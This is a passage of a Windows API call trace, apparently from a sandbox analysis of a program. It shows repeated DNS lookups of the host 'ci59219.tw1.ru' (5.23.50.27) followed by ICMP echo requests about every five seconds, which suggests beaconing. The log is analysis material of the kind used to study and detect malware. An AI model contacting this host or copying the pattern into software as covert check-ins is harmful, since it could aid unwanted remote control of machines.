ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2185b0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0265.298] FreeAddrInfoW (pAddrInfo=0x1d1dd050*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2185b0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0265.298] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6bd0 [0265.298] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa420, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6bd0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0265.686] LocalFree (hMem=0x1d1e6bd0) returned 0x0 [0270.780] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28caf0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2186b0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0270.791] FreeAddrInfoW (pAddrInfo=0x1b28caf0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2186b0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0270.791] IcmpCreateFile () returned 0x1d1fade0 [0270.797] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e718ec0 [0270.797] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6750 [0270.797] IcmpSendEcho2 (in: IcmpHandle=0x1d1fade0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6750, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0270.856] LocalFree (hMem=0x1d1e6750) returned 0x0 [0270.856] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28c270*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0270.858] FreeAddrInfoW (pAddrInfo=0x1b28c270*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0270.858] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e66f0 [0270.858] IcmpSendEcho2 (in: IcmpHandle=0x1d1fade0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e66f0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0270.918] LocalFree (hMem=0x1d1e66f0) returned 0x0 [0270.918] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28c270*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218370*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0270.921] FreeAddrInfoW (pAddrInfo=0x1b28c270*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218370*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0270.921] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6c30 [0270.921] IcmpSendEcho2 (in: IcmpHandle=0x1d1fade0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6c30, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0270.975] LocalFree (hMem=0x1d1e6c30) returned 0x0 [0276.017] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b1b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218350*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0276.024] FreeAddrInfoW (pAddrInfo=0x1b28b1b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218350*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0276.024] IcmpCreateFile () returned 0x1d1faba0 [0276.066] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e718ec0 [0276.066] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6d20 [0276.066] IcmpSendEcho2 (in: IcmpHandle=0x1d1faba0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6d20, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0276.216] LocalFree (hMem=0x1d1e6d20) returned 0x0 [0276.217] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b0b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218410*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0276.222] FreeAddrInfoW (pAddrInfo=0x1b28b0b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218410*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0276.222] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e66f0 [0276.222] IcmpSendEcho2 (in: IcmpHandle=0x1d1faba0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e66f0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0276.277] LocalFree (hMem=0x1d1e66f0) returned 0x0 [0276.277] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b070*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2184d0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0276.280] FreeAddrInfoW (pAddrInfo=0x1b28b070*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d2184d0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0276.280] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6b10 [0276.280] IcmpSendEcho2 (in: IcmpHandle=0x1d1faba0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6b10, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0276.346] LocalFree (hMem=0x1d1e6b10) returned 0x0 [0281.404] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28bcf0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0281.414] FreeAddrInfoW (pAddrInfo=0x1b28bcf0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f70*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0281.414] IcmpCreateFile () returned 0x1d1fa4e0 [0281.441] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e718ec0 [0281.441] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e66f0 [0281.441] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa4e0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e66f0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0281.521] LocalFree (hMem=0x1d1e66f0) returned 0x0 [0281.522] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28bab0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218bd0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0281.525] FreeAddrInfoW (pAddrInfo=0x1b28bab0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218bd0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0281.525] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6930 [0281.525] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa4e0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6930, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x0 [0281.572] LocalFree (hMem=0x1d1e6930) returned 0x0 [0281.572] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b2b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218ad0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0281.574] FreeAddrInfoW (pAddrInfo=0x1b28b2b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218ad0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0281.574] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6930 [0281.574] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa4e0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6930, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0281.641] LocalFree (hMem=0x1d1e6930) returned 0x0 [0286.651] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b270*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218310*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0286.660] FreeAddrInfoW (pAddrInfo=0x1b28b270*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218310*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0286.661] IcmpCreateFile () returned 0x1d1fb560 [0286.663] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e718ec0 [0286.663] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6750 [0286.664] IcmpSendEcho2 (in: IcmpHandle=0x1d1fb560, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6750, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0286.725] LocalFree (hMem=0x1d1e6750) returned 0x0 [0286.726] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b1b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218610*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0286.728] FreeAddrInfoW (pAddrInfo=0x1b28b1b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218610*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0286.728] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6810 [0286.728] IcmpSendEcho2 (in: IcmpHandle=0x1d1fb560, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6810, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0286.782] LocalFree (hMem=0x1d1e6810) returned 0x0 [0286.782] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28ba30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218690*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0286.785] FreeAddrInfoW (pAddrInfo=0x1b28ba30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218690*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0286.785] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6660 [0286.785] IcmpSendEcho2 (in: IcmpHandle=0x1d1fb560, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6660, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0286.839] LocalFree (hMem=0x1d1e6660) returned 0x0 [0291.898] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b1b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f50*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0291.908] FreeAddrInfoW (pAddrInfo=0x1b28b1b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d217f50*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0291.908] IcmpCreateFile () returned 0x1d1fac00 [0291.957] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e718ec0 [0291.957] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e66f0 [0291.957] IcmpSendEcho2 (in: IcmpHandle=0x1d1fac00, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e66f0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0292.148] LocalFree (hMem=0x1d1e66f0) returned 0x0 [0292.148] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b3b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218290*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0292.151] FreeAddrInfoW (pAddrInfo=0x1b28b3b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218290*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0292.151] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6c60 [0292.151] IcmpSendEcho2 (in: IcmpHandle=0x1d1fac00, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6c60, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0292.275] LocalFree (hMem=0x1d1e6c60) returned 0x0 [0292.275] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b7f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218310*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0292.278] FreeAddrInfoW (pAddrInfo=0x1b28b7f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218310*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0292.278] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6fc0 [0292.278] IcmpSendEcho2 (in: IcmpHandle=0x1d1fac00, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6fc0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0292.419] LocalFree (hMem=0x1d1e6fc0) returned 0x0 [0297.430] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b230*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218490*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0297.437] FreeAddrInfoW (pAddrInfo=0x1b28b230*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218490*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0297.437] IcmpCreateFile () returned 0x1d1fb200 [0297.438] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e718ec0 [0297.438] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e68d0 [0297.438] IcmpSendEcho2 (in: IcmpHandle=0x1d1fb200, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e68d0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0297.498] LocalFree (hMem=0x1d1e68d0) returned 0x0 [0297.498] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28ba70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218b50*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0297.500] FreeAddrInfoW (pAddrInfo=0x1b28ba70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218b50*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0297.500] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6600 [0297.500] IcmpSendEcho2 (in: IcmpHandle=0x1d1fb200, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6600, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0297.554] LocalFree (hMem=0x1d1e6600) returned 0x0 [0297.554] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28bc30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218810*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0297.557] FreeAddrInfoW (pAddrInfo=0x1b28bc30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218810*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0297.557] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6f90 [0297.557] IcmpSendEcho2 (in: IcmpHandle=0x1d1fb200, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6f90, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x0 [0297.572] LocalFree (hMem=0x1d1e6f90) returned 0x0 [0302.873] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28b9f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218290*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0302.880] FreeAddrInfoW (pAddrInfo=0x1b28b9f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218290*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0302.883] IcmpCreateFile () returned 0x1d1fa240 [0302.962] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e718ec0 [0302.962] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6f90 [0302.962] IcmpSendEcho2 (in: IcmpHandle=0x1d1fa240, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6f90, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1e718ec0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e718ec0) returned 0x1 [0303.041] LocalFree (hMem=0x1d1e6f90) returned 0x0 [0303.042] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28af30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d218250*(sa_family=2, 